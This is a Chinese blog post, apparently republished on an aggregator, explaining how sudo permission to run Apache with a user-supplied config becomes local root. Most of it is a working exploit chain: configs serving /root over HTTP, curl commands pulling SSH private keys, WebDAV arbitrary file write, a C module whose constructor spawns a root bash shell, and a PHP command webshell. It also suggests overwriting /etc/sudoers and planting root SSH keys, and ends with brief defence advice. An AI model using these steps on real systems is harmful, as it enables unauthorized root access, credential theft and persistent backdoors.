Apache 配置文件提权的实战思考

在 Linux 系统中,如果普通用户被授予以 sudo 执行 Apache 并加载自定义配置文件的权限(如 sudo apache2 -f /home/user/user.conf),那么该权限极可能被滥用为本地提权路径。

虽然 Apache 默认采用了更严格的权限限制机制(尤其是在脚本执行部分),但从服务功能层面看,它与 nginx 类似,也支持配置中实现任意文件读写、恶意模块注入、Web 服务开启等关键操作。因此,当攻击者具备这类配置能力,结合 Apache 的模块化和丰富功能,同样能实现一整条提权利用链。


🧷 sudo 权限前提

假设当前用户 mikannse 具有如下权限:

User mikannse may run the following commands:(root) NOPASSWD: /usr/sbin/apache2 -f /home/mikannse/mikannse.conf

等同于赋予攻击者以 root 身份加载任意 Apache 配置 的能力。


🎯 核心目标

我们的目标是利用这条权限完成:

  • ✅ 任意文件读取(例如 /root/.ssh/id_rsa/etc/shadow
  • ✅ 任意文件写入(例如覆盖 /etc/passwd、上传公钥、植入 suid 后门)
  • ✅ 执行自定义 .so 模块代码(即恶意模块加载)
  • ✅ 启动受控的 Web 服务(反弹 shell、内网持久化)
  • ⚠️ 注意:直接通过 Apache 执行 phpbash 并不能获得 root shell,因为 Apache worker 会降权。

1️⃣ 任意文件读取

思路:配置 Apache 静态文件服务,设置 DocumentRoot 为任意目录,包括 /root/etc 等。

ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 9999User root
Group rootDocumentRoot "/root"
<Directory "/root">Require all grantedOptions +Indexes
</Directory>

启动 Apache 后即可通过 HTTP 获取任意目录中文件:

sudo apache2 -f /home/mikannse/mikannse.conf
curl http://127.0.0.1:9999/.ssh/id_rsa
curl http://127.0.0.1:9999/.bash_history

🔧 注意事项:Apache 必须使用 User root 启动,才能访问受限目录内容(否则文件读取失败)。即使 worker 进程降权,root 主进程仍能完成初始文件打开操作。


2️⃣ 任意文件写入(PUT / POST)

开启 WebDAV 模块即可允许上传任意文件至指定路径,等同于拥有远程 write 权限。

LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.soDocumentRoot "/tmp/web"
<Directory "/tmp/web">DAV OnOptions IndexesRequire all granted
</Directory>

启动:

mkdir -p /tmp/web
sudo apache2 -f /home/mikannse/mikannse.conf

上传:

curl -T /home/mikannse/rootme /tmp/web/rootme http://127.0.0.1:9999/rootme

然后你可以:

  • 覆盖 /etc/sudoers 实现 sudo 提权(需慎重)
  • 写入 root 公钥到 /root/.ssh/authorized_keys
  • 上传 suid 程序、定时任务文件,达成 root 反弹 shell

3️⃣ 恶意模块注入(.so)

与 nginx 一样,Apache 可通过 LoadModule 加载 .so 模块,只要你构造的是合法 Apache 模块格式,就可被 root 加载并执行构造函数中的任意命令。

模块示例(rootme.c):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "httpd.h"
#include "http_config.h"static void pwn() __attribute__((constructor));static void pwn() {setuid(0); setgid(0);system("/bin/bash -p");
}module AP_MODULE_DECLARE_DATA rootme_module = {STANDARD20_MODULE_STUFF,NULL, NULL, NULL, NULL, NULL, NULL
};

编译模块:

apxs -c rootme.c

配置加载:

LoadModule rootme_module /home/mikannse/.libs/rootme.so

只要 Apache 以 root 启动,模块加载时会执行构造函数,直接获得 root shell


4️⃣ 植入后门 + WebShell 控制

Apache 可用作后门 Web 服务:

DocumentRoot "/home/mikannse/www"
<Directory "/home/mikannse/www">Require all granted
</Directory>
DirectoryIndex shell.php

上传 WebShell:

<?php system($_GET['cmd']); ?>

访问:

curl "http://127.0.0.1:9999/shell.php?cmd=id"

⚠️ 若启用 php-fpm,实际命令执行权限取决于 FPM 配置(通常非 root)。


🆚 与 Nginx 提权路径对比

利用方式NginxApache是否能提权
任意读文件✅(root)
任意写文件✅(root)
恶意模块加载✅(root)
PHP Shell 执行⚠️(非 root)
反向持久化服务

🔐 防御建议

  • 禁止 sudo 加载 Apache 配置文件,或使用白名单 wrapper 限制参数
  • Apache 启动用户不应为 root(可强制降权)
  • 不允许普通用户编译 .so 模块(移除 apxs, gcc, make
  • 检查并限制 WebDAV、mod_cgi、mod_userdir 等高危模块
  • 配置 AppArmor / SELinux 限制 Apache 文件访问范围

✅ 总结

Apache 的配置文件注入同 nginx 一样,当其以 root 启动并加载恶意配置文件时,就能构造完整提权链条。虽然 Apache 为避免子进程运行在 root 下进行了设计限制,但这不妨碍我们通过:

  • 恶意模块构造
  • 静态文件服务绕权限读文件
  • 开启 WebDAV 实现任意写文件
  • WebShell 持久化控制

达成本地 root 提权或横向打点目标。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87928.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87928.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营第四十四天|动态规划part11

1143.最长公共子序列 题目链接&#xff1a;1143. 最长公共子序列 - 力扣&#xff08;LeetCode&#xff09; 文章讲解:代码随想录 思路&#xff1a; 其实就是求两个字符串的最长公共子序列的长度 与公共子数组的区别是可以不连续 &#xff0c;顺序对就可以 状态转移方程不一样 …

部署mysql

# 环境: 操作系统window11 安装了vagrant 通过vagrant部署、启动虚拟机(centos7) # 准备安装mysql8 # 添加 MySQL 官方 YUM 源 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm # 安装 MySQL Server sudo yum install -y mysql-s…

SQL分析与打印-p6spy组件

有性能消耗&#xff0c;只推荐在非生产环境下使用 SpringBoot3MybatisPlushttps://baomidou.com/guides/p6spy/ MyBatis-Plus提供了SQL分析与打印的功能&#xff0c;通过集成p6spy组件&#xff0c;可以方便地输出SQL语句及其执行时长。本功能适用于MyBatis-Plus 3.1.0及以上版本…

FLUX.1-Kontext 高效训练 LoRA:释放大语言模型定制化潜能的完整指南

在人工智能领域&#xff0c;尤其是大型语言模型&#xff08;LLM&#xff09;的应用浪潮中&#xff0c;高效、低成本地定制模型行为已成为关键需求。LoRA&#xff08;Low-Rank Adaptation&#xff09;技术以其参数高效、资源节省的特性脱颖而出。而 FLUX.1-Kontext 作为一款创新…

群晖 DS3617xs DSM 6.1.7 解决 PhotoStation 安装失败问题 PHP7.0

群晖 DS3617xs DSM 6.1.7 解决 PhotoStation 安装失败问题 PHP7.0问题描述解决方案1. 准备所需文件2. 检查当前 PHP 版本3. 安装 PHP 版本5. 查询已安装好的套件6. 升级 PHP 版本7. 手动安装套件PhotoStation注意事项总结问题描述 在群晖 DS3617xs DSM 6.1.7-15284 版本中&…

pnpm 升级

pnpm 的安装源太多了&#xff0c;感觉系统变量都有引入顺序。 今天踩坑记录&#xff1a; pnpm &#xff0c;如果最初用npm 装的&#xff0c;可以用npm 升级&#xff1b; 如果最初用brew 装的&#xff0c;得用brew 升级&#xff1b; 如果最初是用corepack 装的得用corepack 升级…

[C#] WPF - 资源URI

一、组成 1、资源URI总共包括4个部分(当前程序集可以省略前3个)&#xff1a; ①&#xff1a;pack://application:,,, ②&#xff1a;/[程序集名称] ③&#xff1a;;Component ④&#xff1a;/[资源路径] 二、举例 项目结构如下图所示&#xff1a; 1、MainWindow.xaml 文件…

【Mysql系列】Mysql 多级隔离级别揭秘

目录 一、什么是隔离级别 1.1、为什么复合操作需要事务&#xff1f; 1.2、事务的 ACID 特性如何保障操作可靠性&#xff1f; 1.3、隔离性通过隔离级别来控制 二、为什么用多级隔离级别 2.1、事务并发执行时可能引发以下问题 2.1.1、脏读&#xff08;Dirty Read&#xff…

odoo17 警示: selection attribute will be ignored as the field is related

在 Odoo 17 中&#xff0c;当使用 related 字段时&#xff0c;直接在 fields.Selection 中指定选择列表会被忽略&#xff08;因为选择项会从关联字段继承&#xff09;。wtd_fuwlx fields.Selection(服务类型 , relatedwtd_id.fuwlx, storeTrue)遇到了一个警告&#xff0c;提示…

gemma-3n-E2B多模态模型使用案例:支持文本、图像、语音输入

参考&#xff1a; https://developers.googleblog.com/en/introducing-gemma-3n-developer-guide/下载&#xff1a; https://modelscope.cn/models/google/gemma-3n-E2B-it 模型下载 运行代码&#xff1a; https://github.com/huggingface/huggingface-gemma-recipes 微调&…

计算机网络实验——互联网安全实验

实验1. OSPF路由项欺骗攻击和防御实验一、实验目的验证路由器OSPF配置过程。验证OSPF建立动态路由项过程。验证OSPF路由项欺骗攻击过程。验证OSPF源端鉴别功能的配置过程。验证OSPF防路由项欺骗攻击功能的实现过程。二、实验任务使用自己的语言简述该实验原理。如图1所示的网络…

Pytorch中torch.where()函数详解和实战示例

torch.where() 是 PyTorch 中非常常用的一个函数&#xff0c;功能类似于 NumPy 的 where&#xff0c;用于条件筛选或三元选择操作。在深度学习训练、掩码操作、损失函数处理等场景中非常常见。一、基本语法 torch.where(condition, x, y)condition&#xff1a;一个布尔张量&…

基于Hadoop的公共自行车数据分布式存储和计算平台的设计与实现

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍&#xff1a;基于Hadoop的公共自行车数据分布式存储与计算平台设计与实现数据介绍数据预处理 Hadoop 集群的几个主要节点介绍1. NameNode&#xff08;主节点&#xff09;2. DataNod…

Java项目:基于SSM框架实现的程序设计课程可视化教学系统【ssm+B/S架构+源码+数据库+毕业论文】

摘 要 使用旧方法对程序设计课程可视化教学信息进行系统化管理已经不再让人们信赖了&#xff0c;把现在的网络信息技术运用在程序设计课程可视化教学信息的管理上面可以解决许多信息管理上面的难题&#xff0c;比如处理数据时间很长&#xff0c;数据存在错误不能及时纠正等问题…

Unity 实现 NPC 随机漫游行为的完整指南

在游戏开发中&#xff0c;NPC&#xff08;非玩家角色&#xff09;的行为逻辑对于营造真实、沉浸式的游戏世界至关重要。一个常见但又极具表现力的需求是&#xff1a;让 NPC 在场景中自然地随机移动&#xff0c;仿佛它们有自己的意识和目的地。 本文将详细介绍如何使用 Unity 的…

重新学习Vue中的按键监听和鼠标监听

文章目录按键事件1. 使用 keyup.enter 修饰符2. 使用 v-on 监听键盘事件3. 在组件上监听原生事件Vue 2Vue 34. 全局监听键盘事件注意事项鼠标事件1. 基本鼠标事件监听常用鼠标事件2. 事件修饰符3. 鼠标按键检测4. 鼠标位置信息5. 自定义指令监听鼠标事件6. 组合鼠标事件7. 性能…

vue2启动问题以及解决方案

vue2启动时&#xff1a;ERROR Invalid options in vue.config.js: "typescript.validate.enable" is not allowed如果需要在 VSCode 中控制 TypeScript 验证&#xff1a;在项目根目录创建 .vscode/settings.json 文件&#xff08;如不存在&#xff09;添加以下配置&a…

Vue响应式系统:从原理到核心API全解析

响应式原理 响应式机制的主要功能就是&#xff0c;可以把普通的JavaScript对象封装成为响应式对象&#xff0c;拦截数据的读取和设置操作&#xff0c;实现依赖数据的自动化更新。 Q: 如何才能让JavaScript对象变成响应式对象&#xff1f; 首先需要认识响应式数据和副作用函数…

水下目标检测:突破与创新

水下目标检测技术背景 水下环境带来独特挑战&#xff1a;光线衰减导致对比度降低&#xff0c;散射引发图像模糊&#xff0c;色偏使颜色失真。动态水流造成目标形变&#xff0c;小目标&#xff08;如1010像素海胆&#xff09;检测困难。声呐与光学数据融合可提升精度&#xff0…

高通SG882G平台(移远):2、使用docker镜像编译

其实之前已经编译过了。今日搜索时发现&#xff0c;只有当时解决问题的汇总&#xff0c;没有操作步骤。于是记录下来。 建议使用Ubuntu20 LTS。 安装docker $ sudo apt update $ sudo apt install docker.io $ sudo docker -v Docker version 27.5.1, build 27.5.1-0ubuntu3…